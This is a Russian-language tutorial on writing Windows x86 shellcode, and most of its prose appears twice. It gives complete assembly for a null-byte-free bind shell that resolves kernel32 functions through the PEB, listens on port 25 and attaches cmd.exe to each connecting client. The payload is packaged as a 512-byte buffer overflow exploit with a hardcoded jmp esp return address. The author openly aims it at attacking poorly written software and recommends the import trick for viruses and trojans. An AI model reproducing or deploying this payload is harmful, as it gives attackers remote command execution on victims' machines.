Написание ShellCoda’a
В данной статье будет оговорены такие аспекты как:
- Оптимизация кода
- Программирование без нулевого байта
- Нахождение рукоятки(Handle) kernel’а
- Нахождение таблицы импорта kernel’а с последующим получением из неё функции GetProcAddress
- Алгоритм автоматического импортирования остальных функций
- Прослушивание порта
- Запуск и последующее сцепление интерпретатора команд с подключившемся клиентом
[ Теория ]
Оптимизация:
Нам ведь нужно, чтоб наш код занимал как можно меньше места и выполнялся как можно быстрее, тогда нам нужно освоить методы оптимизации. Например если мы уверены, что в регистре осталось значение, то нет никакого смысла заносить его туда снова, также если оставшиеся значение ненамного отличается от требуемого, можно просто воспользоваться инструкцией для его модификация, если конечно эта инструкция выполняется быстрее, инструкция занесения туда этого числа или занимает меньше байт.
Примеры:
Нулевой байт:
В большинстве случаев где используется шэлкод нет возможности вставлять нулевые символы, а возможно даже переходы строк, так что будем заменять все инструкции, содержащие токовые на другие группы инструкций имеющие эквивалентное действие. В этом нам поможет дизассемблер или отладчик, очень удобно запустить OllyDbg, нажимать пробел на одном и том же месте, вписывать инструкцию и сразу же смотреть её опкоды, так же хорошо это помогает и при оптимизации, например компилишь and eax, 0x0F получается 3 байта, а and eax, 0xFF пять.
Относительные адреса:
Также нужно заменять все инструкции имеющие абсолютные(absolute) адреса, на адреса относительно(relative) некоторых регистров, т.к. мы не знаем прямых адресов, не знаем в какой уголок памяти нас закинула винда(а учится то, что обещают мелкомягкие в винде виста, то к этому нужно привыкать), так что будем выкручиваться. Например чтоб получить свой текущий адрес можно воспользоваться вот такой комбинацией
Правдо она содержит нулевые байты, но это можно обойти так
Код:
Далее я буду последовательно приводить фрагменты кода и за каждым из них, будет следовать описание. Все коды написаны для flat assembler’a
Для опрощения написания и отладки шэлкода, я написал такую программку, которая эмулирует переполнение буфера длиной 512 байт, вписывая туда заранее скомпилированный шэлкод, останавливаясь при этом при нахождении первого нулевого байта.
Инициализация всех нужных нам структур, указание компилятору, что дальше идёт 32х битный машинный код, а также указываем длину переполняемого буфера.
Вот оно, начало шэлкода, несмотря на это первая инструкция куда попадёт управление, находится в конце, а сюда управление не попадёт никогда. В этой часте кода, содержатся строки, которые в последствии будут использованы, как вы уже заметили заканчиваются они не символом с кодом 0 а символом с кодом 0xFF(255) по известным причинам. Почему 0xFF?, да потому, что его очень просто переделать в 0, 0 это not 0xFF.
Тут определяется наше местоположение, точнее местоположение ecode: и заносится в регистр ebp, относительно него мы и будем обратятся к переменным и текстовым строкам. Также тут реализовано смещение указателя на стек(esp) за приделы нашего кода, чтоб при занесении значений в стек, они его не затерали. Макроинструкции if контролируют невнесение нулей в код, при изменении длины переполняемого буфера.
Тут мы получаем из регистра fs адрес области памяти, в которую загрузился кернел, этот адрес также известный как Handle, а точнее там содержатся все параметры и структуры загруженного модуля. К сожалению до изучения интересной(насколько я о ней наслишен) структуры содержащийся в по адресу из этого регистра, я ещё не добрался, так что я просто взял готовый кусочек кода и модифицировал его под свои нужду, как только появится время + настроение обязательно это сделаю.
Первая строка находит смешение PE структуры, содержащий параметры и смещения 32х битного запускаемого модуля, а вторая считывает от туда смещение таблицы экспорта и заносит его в ebx.
Владея этой информацией мы можем найти любую функцию кернола, например LoadLibreryA и GetProcAddress, а дальше загрузить любую другую библиотеку, и помощью этих функций получить из них любую функцию, но как я уже говорил, полученная область памяти и есть Handle, он же и есть то значение которое возвращается функцией LoadLibreryA. Также я закоментил четыре инструкции, проверяющие верная ли это функция, так как кекнол не содержит подобной инструкции, попадающей под остальные проверки, а значит нет смысла сомневаться, что это правильная функция, кстати этим мы экономим 18 байт кода.
Находим в строках байты 0xFF и инвертируем их, в результате чего получаем на их месте байты 0.
Получаем функцию LoadLibreryA, с помощью функции GetProcAddress, содержащийся в регистре esi, с последующим сохранением их в стеке, для импортирования остальных функций.
А вот он и алгоритм, автоматического импортирования функций, его также очень удобно применять в Вирусах, Троянах или просто в зашифрованных программах, для скрытия списка импортируемых функций. Использовать его очень просто, в передаваемую в edi структуру, заносится имя библиотеки, дальше следует два три нулевых байта если это конец структуры, два байта если нужно загрузить следующею библиотеку или один если нужно импортировать из неё функции, которых разделены между собой одним нулевым байтом, а если находятся два или 3 байта, то их значение соответствует приведенным выше. Адреса полученных функций заносятся в первые четыре байта имени функции, так что использование функций имена которых короче 3х символов, недопустимо!
Тут выделяем 546 байт памяти для хранения структур, нелюбою хранить переменные в стеке, лишний шанс переполнения, не я ошибусь, так мелкомягкие, какую нибудь калечную функцию напишут, типа lstrcpy, в МСДН’е так и написано, Security Alert. Ладно чёта я отвлёкся, продолжим.
Ну тут понятно, инициализируем WSA(Windows Sockets support) передаём ему адрес памяти, полученный предыдущим кодом, а со структурой пусть разберется сам, она примерно 520 байт, остальное меня не интересует.
Создаём сокет и заносим его идентификатор во второе двойное слово нашего кода, да, да мы можем затирать начало кода, т.к. управление больше никогда туда не вернётся, а значит там очень удобно хранить переменные фиксированной длины, тем более что ebp у нас указывает прямо туда. Кстате, по непонятным для меня причинам инструкция mov [ebp], eax компилируется как mov [ebp+0], eax зато mov [esi], eax например компилируется нормально, а так как 0 нам тут совсем не к месту то подставим туда 4.
Тут мы заполняем структуру sockaddr_in в edi для слушанья 25го порта, биндим и начинаем прослушку. Номер порта заносится во вторую половину регистра ax, те в ah.
Заполняем нулями 32к байт, т.е. будущую структуру STARTUPINFO, а также заполняем необходимые поля т.к. длина и флаги(не показывать окно и использовать пользовательские рукоятки).
Здесь мы передаём идентификатор сокета, подключившегося клиента запускаемой программе как рукоятки стандартного ввода и вывода, а также вывода ошибок. Также тут мы попадаем в бесконечный цикл, из которого этот тред не выйдет никогда, а куда нам его выпускать то, мы ведь затёрли адрес возврата, хотя если кому-то надо, не сложно модифицировать этот код например для создания дополнительного треда, а потом как-нибудь рассчитать адрес возврата, поместить этот цикл в тред, а управление передать на этот адрес, так что дерзайте, можно также использовать какую-нибудь некорректную инструкцию, например деление на ноль, тогда управление передастся на ближайший интерпретатор ошибок и если программа отлаживает(что-то вроде try, except) ошибки такого рода, то управление попадёт куда надо.
Ну и заключительная деталь, выравниваем(заполняем оставшееся место символоми A), код до длины переполняемого буфера, в данном случае это 512 байт. Шэлкод занимает почти все 512, так что с переполнением буфера меньший длины придётся повозится дольше, тогда шэлкод нужно будет разместить по обоим сторонам затираемого адреса, что немного сложнее, а вот для буферов большей длины нужно просто указать её значение в первом фрагменте кода. Кстати объясню насчёт dd 0x7C941EED - это адрес инструкции jmp esp в библиотеке ntdll(за идею спасибо KEZ’У, чаще бы такие идеи), я сомневаюсь что в другом билде он изменится, но всё-же, если это произойдёт его нужно будет поправить, ну или найти такую же инструкцию, например в атакуемой программе.
Надеюсь эти 17Кб текста, кому-нибудь помогут, в атаках на кривые коды на скорую руку.
С вами был hidden, удачи...
В данной статье будет оговорены такие аспекты как:
- Оптимизация кода
- Программирование без нулевого байта
- Нахождение рукоятки(Handle) kernel’а
- Нахождение таблицы импорта kernel’а с последующим получением из неё функции GetProcAddress
- Алгоритм автоматического импортирования остальных функций
- Прослушивание порта
- Запуск и последующее сцепление интерпретатора команд с подключившемся клиентом
[ Теория ]
Оптимизация:
Нам ведь нужно, чтоб наш код занимал как можно меньше места и выполнялся как можно быстрее, тогда нам нужно освоить методы оптимизации. Например если мы уверены, что в регистре осталось значение, то нет никакого смысла заносить его туда снова, также если оставшиеся значение ненамного отличается от требуемого, можно просто воспользоваться инструкцией для его модификация, если конечно эта инструкция выполняется быстрее, инструкция занесения туда этого числа или занимает меньше байт.
Примеры:
Код:
33 C0 xor eax, eax
тоже что и
B8 00000000 mov eax, 0
---
33 C0 xor eax, eax
8D48 05 lea ecx, [eax+5]
тоже что и
B8 00000000 mov eax, 0
B8 05000000 mov eax, 0
Но в 2 раза короче
---
C1E8 02 shr eax, 2; сдвиг на два бита в право(r) эквивалентно делению на (максимальное значение которое можно поместить в 2 бита + 1) т.е. 4
тоже что и
BB 04000000 mov ebx, 4
BA 00000000 mov edx, 0
F7FB idiv ebx
но при этом во втором варианте затрагиваются другие регистры, что не всегда приемлемо.
shl – сдвиг в другую сторону, т.е. можно использовать для целочисленного деления на числа (2,4,8,16,32,64,128,256,512,1024,...)
---
09C0 or eax, eax
74 15 jz @f
Тоже что
83F8 00 cmp eax, 0
74 15 je @f
---
AD Lodsd
тоже что и
8B 06 mov eax, [esi]
83C6 04 add esi, 4
---
Умножение на 3 например, можно осуществить так
8D0440 lea eax, [eax*3]
при этом оно скомпилируется как
8D0440 lea eax, [eax+eax*2]
---
Ну и циклическое копирование блока фиксированной длины оптимальнее выполнять так
mov esi, Откуда
mov edi, Куда
mov ecx, Длина
rep movsb
или если длина кратная четырём то так
mov esi, Откуда
mov edi, Куда
mov ecx, Длина
shr ecx, 2
rep movsd
но не так
mov esi, Откуда
mov edi, Куда
mov ecx, Длина
@@:
lodsb
stosb
inc esi
inc edi
loop @b
и тем более не так
mov esi, Откуда
mov edi, Куда
mov ecx, Длина
@@:
mov al, [esi]
mov [edi], al
inc esi
inc edi
dec ecx
cmp ecx, 0
jnz @b
В большинстве случаев где используется шэлкод нет возможности вставлять нулевые символы, а возможно даже переходы строк, так что будем заменять все инструкции, содержащие токовые на другие группы инструкций имеющие эквивалентное действие. В этом нам поможет дизассемблер или отладчик, очень удобно запустить OllyDbg, нажимать пробел на одном и том же месте, вписывать инструкцию и сразу же смотреть её опкоды, так же хорошо это помогает и при оптимизации, например компилишь and eax, 0x0F получается 3 байта, а and eax, 0xFF пять.
Относительные адреса:
Также нужно заменять все инструкции имеющие абсолютные(absolute) адреса, на адреса относительно(relative) некоторых регистров, т.к. мы не знаем прямых адресов, не знаем в какой уголок памяти нас закинула винда(а учится то, что обещают мелкомягкие в винде виста, то к этому нужно привыкать), так что будем выкручиваться. Например чтоб получить свой текущий адрес можно воспользоваться вот такой комбинацией
Код:
E8 00000000 call near @f
@@: 5D pop ebp
Код:
EB 02 jmp .lb2
.lb1: EB 05 jmp .lb3
.lb2: E8 F9FFFFFF call near .lb1
.lb3: 5D pop ebp
Код:
Далее я буду последовательно приводить фрагменты кода и за каждым из них, будет следовать описание. Все коды написаны для flat assembler’a
Код:
format PE GUI 4.0
entry Start
include 'win32a.inc'
proc Start
sub esp, 512
mov edi, esp
mov esi, Begin
@@: lodsb
stosb
cmp al, 0
jnz @b
add esp, 512
ret
endp
Begin file 'shellcode.bin'
Код:
include 'win32a.inc'
buffer_len = 512
use32
Код:
; Here is begin of shellcode
Begin:
LoadLibraryA db 'LoadLibraryA',0xFF ; We cen't end text lines
tx_cmd db 'cmd.exe',0xFF ; by symbol 0, so we chenged
; it to symbol 0xFF
importex db 'kernel32',0xFF
CreateProcessA db 'CreateProcessA',0xFF
VirtualAlloc db 'VirtualAlloc',0xFF
CloseHandle db 'CloseHandle',0xFF,0xFF
db 'Ws2_32',0xFF
WSAStartup db 'WSAStartup',0xFF
WSASocketA db 'WSASocketA',0xFF
bind db 'bind',0xFF
listen db 'listen',0xFF
accept db 'accept',0xFF,0xFF,0xFF
Код:
ecode:
mb_al = buffer_len and 0xff
mb_ah = buffer_len shr 8
xor eax, eax
if mb_al > 0 & mb_ah > 0
mov ax, buffer_len
else if mb_al > 0 & mb_ah = 0
mov ah, mb_al
else if mb_al = 0 & mb_ah > 0
mov ah, mb_ah
end if mov ebp, esp
add ebp, ecode - Begin
Код:
; Getting kernel addr
xor eax, eax
mov eax, [fs:eax+30h]
test eax, eax
js ngk
mov eax, [eax+0Ch]
mov esi, [eax+1Ch]
lodsd
mov edx, [eax+8]
jmp egk
ngk: mov eax, [eax+34h]
add eax, 7Ch
mov edx, [eax+3Ch]
egk:
Код:
; Locating export table
mov ebx, [edx+60]
mov ebx, [edx+ebx+120]
Код:
; Looking for LoadLibraryA
; mov esi, [edx+ebx+0x20]; Names
; add esi, edx
;@@: lodsd
; add eax, edx
; cmp dword[eax], 'Load' ; We can find this function
; jne @b ; by using GetProcAddress
; ;cmp dword[eax+4], 'Libr'; because already have handle
; ;jne @b ; of kernel
; cmp dword[eax+8], 'aryA'
; jne @b
; cmp byte[eax+12], 1
; jnb @b
; sub esi, [edx+ebx+0x20]
; add esi, [edx+ebx+0x1C]
; mov esi, [esi-4]
; add esi, edx
; push esi
; Looking for GetProcAddress
mov esi, [edx+ebx+0x20]; Names
add esi, edx
@@: lodsd
add eax, edx
cmp dword[eax], 'GetP'
jne @b
;cmp dword[eax+4], 'rocA'; It's only to control what
;jne @b ; this is a right function,
;cmp dword[eax+8], 'ddre'; but kernel doesn't contain
;jne @b ; any simular functions
cmp word[eax+12], 'ss'
jne @b
cmp byte[eax+14], 1
jnb @b
sub esi, [edx+ebx+0x20]
add esi, [edx+ebx+0x1C]; - Addreses
mov esi, [esi-4]
add esi, edx
;push esi
Код:
; Restoring strings zero bytes
lea edi, [ebp+Begin-ecode]
xor eax, eax
lea ecx, [eax+ecode-Begin]
dec eax
z_lp: repne scasb
jnz z_en
not byte[edi-1]
inc ecx
loop z_lp
z_en:
Код:
; Getting LoadLibreryA
push esp edx
call esi
push eax esi
Код:
; Importing functions
lea edi, [ebp+importex-ecode]
jmp i_ll
i_nl: stosb
i_ll: stdcall dword[esp+8], edi
mov esi, eax
i_nc: xor eax, eax
lea ecx, [eax-1]
repne scasb
cmp [edi], ax
jz i_el
cmp [edi], al
jz i_nl
stdcall dword[esp+8], esi, edi
stosd
jmp i_nc
db 'B'; To block "\n"
Код:
; Begin of ShellCode
i_el: xor esi, esi
mov eax, esi
mov ax, 0x222
mov ebx, esi
mov bh, (MEM_COMMIT shr 8)
stdcall dword[VirtualAlloc+ebp-ecode], esi, eax, ebx, PAGE_READWRITE
Код:
mov edi, eax
mov eax, esi
mov ax, 0x202
stdcall dword[WSAStartup+ebp-ecode], eax, edi
Код:
stdcall dword[WSASocketA-ecode+ebp], 2, 1, esi, esi, esi, esi
mov [ebp+4], eax ; IdSocket
Код:
mov [ebp+4], eax ; IdSocket
mov eax, esi
mov ah, 25
mov [edi+sockaddr_in.sin_port], ax; sin_port
lea eax, [esi+2]
mov [edi+sockaddr_in.sin_family], ax
mov [edi+sockaddr_in.sin_addr], esi
stdcall dword[bind-ecode+ebp], [ebp+4], edi, sizeof.sockaddr_in
stdcall dword[listen-ecode+ebp], [ebp+4], 5
Код:
mov eax, edi
lea ecx, [esi+0x20]
rep stosd
mov edi, eax
lea eax, [esi+sizeof.STARTUPINFO]
mov [edi], eax; +STARTUPINFO.cb = +0
mov dword[edi+STARTUPINFO.wShowWindow], esi; SW_SPOILER = word 0, cbReserved2 = word 0
mov eax, esi
inc al; eax = 000000(01)
inc ah; eax = 0000(01)01
mov [edi+STARTUPINFO.dwFlags], eax; STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES = 0x101
Код:
.loop: stdcall dword[accept-ecode+ebp], [ebp+4], esi, esi
mov [edi+STARTUPINFO.hStdInput], eax
mov [edi+STARTUPINFO.hStdOutput], eax
mov [edi+STARTUPINFO.hStdError], eax
lea ebx, [tx_cmd-ecode+ebp]
lea edx, [edi+sizeof.STARTUPINFO]; ProcessInfo is next to STARTUPINFO
stdcall dword[CreateProcessA-ecode+ebp], esi, ebx, esi, esi, -1, esi, esi, esi, edi, edx
stdcall dword[CloseHandle-ecode+ebp], [edi+sizeof.STARTUPINFO]
stdcall dword[CloseHandle-ecode+ebp], [edi+sizeof.STARTUPINFO+4]
stdcall dword[CloseHandle-ecode+ebp], [edi+STARTUPINFO.hStdInput]
jmp .loop
Код:
db buffer_len - ($ - Begin) dup('A')
dd 0x7C941EED
call ecode
db 0
; Here is end of shellcode
Надеюсь эти 17Кб текста, кому-нибудь помогут, в атаках на кривые коды на скорую руку.
С вами был hidden, удачи...